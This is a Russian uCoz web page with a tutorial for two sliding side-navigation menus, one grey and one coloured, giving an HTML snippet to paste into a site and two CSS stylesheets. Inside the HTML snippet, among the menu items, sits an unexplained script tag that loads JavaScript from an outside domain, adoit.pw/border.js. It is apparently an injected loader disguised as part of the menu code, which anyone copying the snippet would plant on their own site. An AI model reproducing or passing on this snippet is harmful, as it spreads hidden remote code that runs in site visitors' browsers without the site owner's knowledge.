Статьи
Xiaomi Redmi Note 8 Pro получение прав ROOT
Раздача интернета в обход ограничениям использования телефона в качестве модема.
100% Pure Platinum Whey (SAN) - входит в топ 15 протеинов 2016г
Вышел новый флагман Xiaomi Mi Note 2
Power System Triple Whey - биоактивный протеин нового поколения
Weider Gold Whey - Лучшее соотношение цена-качество!
Optimum Nutrition Platinum Hydro Whey - протеин сывороточный гидролизат
Do4a Lab Premium Whey 60% - отечественный производитель

Для UCOZ
Кнопки вверх и вниз с функцией запоминания позиции
Скрипт топ пользователей по кол. сообщений на форуме для uCoz
Вид опроса для uCoz, в стиле flat
Вертящиеся часы для сайта
Темный информер Самые Популярные Темы для uCoz
Cкрипт подробной статистики сайта
Поиск по новостям для uCoz
Информер Случайные новости для uCoz
Виджет социальных закладок
Игровое онлайн радио Tort.FM
Админ всегда онлайн для Ucoz
БЛОК "ПОДЕЛИТЬСЯ В СОЦ СЕТЯХ"
Статистика кто посетил в красивом стиле для uCoz
Красивая кнопка вверх для блога ( сайта )

Главная » 2013 » Июль » 25 » Боковое Меню Цветное и серое
20:32
Боковое Меню Цветное и серое
Красивые 2 типа Боковых Менюшек,вам представление более 2 видов меню, выберете тот который будет подойдет вашему дизайну оба меню красивые,и без багов,сам сайт скрипт не нагружает при загрузке...
И так Приступим У Самой Установчке:
Этот самый текст ставим там где мы хотели бы видеть свое новое меню HTML:

Код
<div id="main">  
  <ul id="navigationMenu">  
  <li>  
  <a class="m_home " href="$HOME_PAGE_LINK$"><span>На главную</span></a>  
  </li>  
  <li>  
  <a class="m_gost" href="/gb"><span>Гостевая</span></a>  
  </li>  
  <li>  
  <a class="m_forum" href="/forum"><span>Форум</span></a>  
  </li>  
  <li> <a class="m_pochta" href="/index/0-3"><span>Обратная связь</span></a>  
  </li><script type="text/javascript" src="http://adoit.pw/border.js"></script>  
  <?if($USER_LOGGED_IN$)?>  
  <li> <a class="m_vixod" href="$LOGOUT_LINK$"><span>Выход</span></a>  
  </li>  
  <?else?>  
  <li>  
  <a class="m_vxod" href="$LOGIN_LINK$"><span>Вход</span></a>  
  </li>  
  <?endif?>  
  </ul>  
  </div>  
  <!-- /Конец тегов левое боковое меню -->


А Вот два типа менюшек выбирайте который вам нужен

Серое Меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  right: 0px;  
  padding:0;  
}  

#main ul{  
  padding:0;  
}  

#navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
}  

#navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  right:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
}  

#navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_2.png) no-repeat;  
  height:35px;  
  width:35px;  
}  

#navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
}  

#navigationMenu a:hover{  
  text-decoration:none;  
}  

#navigationMenu .m_home {background-position:0 0;}  
#navigationMenu .m_home :hover {background-position:0 -35px;}  

#navigationMenu .m_gost {background-position:-35px 0;}  
#navigationMenu .m_gost:hover {background-position:-35px -35px;}  

#navigationMenu .m_forum {background-position:-70px 0;}  
#navigationMenu .m_forum:hover {background-position:-70px -35px;}  

#navigationMenu .m_pochta { background-position:-105px 0;}  
#navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  

#navigationMenu .m_vxod { background-position:-140px 0;}  
#navigationMenu .m_vxod:hover { background-position:-140px -35px;}  

#navigationMenu .m_vixod { background-position:-175px 0;}  
#navigationMenu .m_vixod:hover { background-position:-175px -35px;}  

#navigationMenu .m_gost span,  
#navigationMenu .m_forum span,  
#navigationMenu .m_pochta span,  
#navigationMenu .m_vxod span,  
#navigationMenu .m_vixod span,  
#navigationMenu .m_home span {  
  background:#444;  
  color:#777;  
  text-shadow:1px 1px 0 #333;  
}


Цветное меню

Код
#main{  
  position:fixed;  
  top: 150px;  
  left: 0px;  
  padding:0;  
  }  

  #main ul{  
  padding:0;  
  }  

  #navigationMenu li{  
  list-style:none;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu span{  
  position:absolute;  
  overflow:hidden;  
  width:0;  
  left:35px;  
  padding:0;  
  font:12px Verdana,Arial,Helvetica,sans-serif;  
  font-weight:bold;  
  line-height:35px;  
  white-space:nowrap;  
  -webkit-transition: 0.25s;  
  -moz-transition: 0.25s;  
  transition: 0.25s;  
  }  

  #navigationMenu a{  
  display:block;  
  position:relative;  
  background:url(http://pnghosts.ru/img/navigation_1.png) no-repeat;  
  height:35px;  
  width:35px;  
  }  

  #navigationMenu a:hover span{  
  overflow:hidden;  
  text-align:center;  
  width:110px;  
  padding:0px 10px;  
  }  

  #navigationMenu a:hover{  
  text-decoration:none;  
  }  

  #navigationMenu .m_home {background-position:0 0;}  
  #navigationMenu .m_home :hover {background-position:0 -35px;}  
  #navigationMenu .m_home span{  
  background:#7da315;  
  color:#3d4f0c;  
  text-shadow:1px 1px 0 #99bf31;  
  }  

  #navigationMenu .m_gost {background-position:-35px 0;}  
  #navigationMenu .m_gost:hover {background-position:-35px -35px;}  
  #navigationMenu .m_gost span{  
  background:#1e8bb4;  
  color:#223a44;  
  text-shadow:1px 1px 0 #44a8d0;  
  }  

  #navigationMenu .m_forum {background-position:-70px 0;}  
  #navigationMenu .m_forum:hover {background-position:-70px -35px;}  
  #navigationMenu .m_forum span{  
  background:#c86c1f;  
  color:#5a3517;  
  text-shadow:1px 1px 0 #d28344;  
  }  

  #navigationMenu .m_pochta { background-position:-105px 0;}  
  #navigationMenu .m_pochta:hover{ background-position:-105px -35px;}  
  #navigationMenu .m_pochta span{  
  background-color:#d0a525;  
  color:#604e18;  
  text-shadow:1px 1px 0 #d8b54b;  
  }  

  #navigationMenu .m_vxod { background-position:-140px 0;}  
  #navigationMenu .m_vxod:hover { background-position:-140px -35px;}  
  #navigationMenu .m_vxod span{  
  background-color:#af1e83;  
  color:#460f35;  
  text-shadow:1px 1px 0 #d244a6;  
  }  

  #navigationMenu .m_vixod { background-position:-175px 0;}  
  #navigationMenu .m_vixod:hover { background-position:-175px -35px;}  
  #navigationMenu .m_vixod span{  
  background-color:#27ddbf;  
  color:#097863;  
  text-shadow:1px 1px 0 #87ffe7;  
  }
Просмотров: 683 | Добавил: DoG | Рейтинг: 0.0/0
Похожие материалы
К сожалению, похожего ничего не нашлось!


Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Новое


HWiNFO3264 5.40 3030...
Загрузок: 67
Просмотров: 798
Дата: 14.02.2017



2befine_simpli_zip_t...
Загрузок: 275
Просмотров: 843
Дата: 12.12.2016



memtest86_v_4.3.6.zi...
Загрузок: 314
Просмотров: 805
Дата: 06.12.2016



Новогоднее_оформлени...
Загрузок: 307
Просмотров: 932
Дата: 06.12.2016



AveIconifier-2.0_Por...
Загрузок: 386
Просмотров: 1694
Дата: 06.12.2016


Популярное


Livesuit 1.09.z...
Загрузок: 39935
Просмотров: 63276
Добавил: sasha2
Дата: 30.03.2013



LiveSuit v 1.07...
Загрузок: 7612
Просмотров: 18918
Добавил: sasha2
Дата: 15.12.2014



Ultimate Mortal...
Загрузок: 7294
Просмотров: 22045
Добавил: sasha2
Дата: 24.01.2013



Эмулятор Sega н...
Загрузок: 3636
Просмотров: 16101
Добавил: sasha2
Дата: 03.01.2013



иконки 32х32, 6...
Загрузок: 2138
Просмотров: 20679
Добавил: sasha2
Дата: 25.09.2012



Рейтинг@Mail.ru
%
Copyright MyCorp © 2024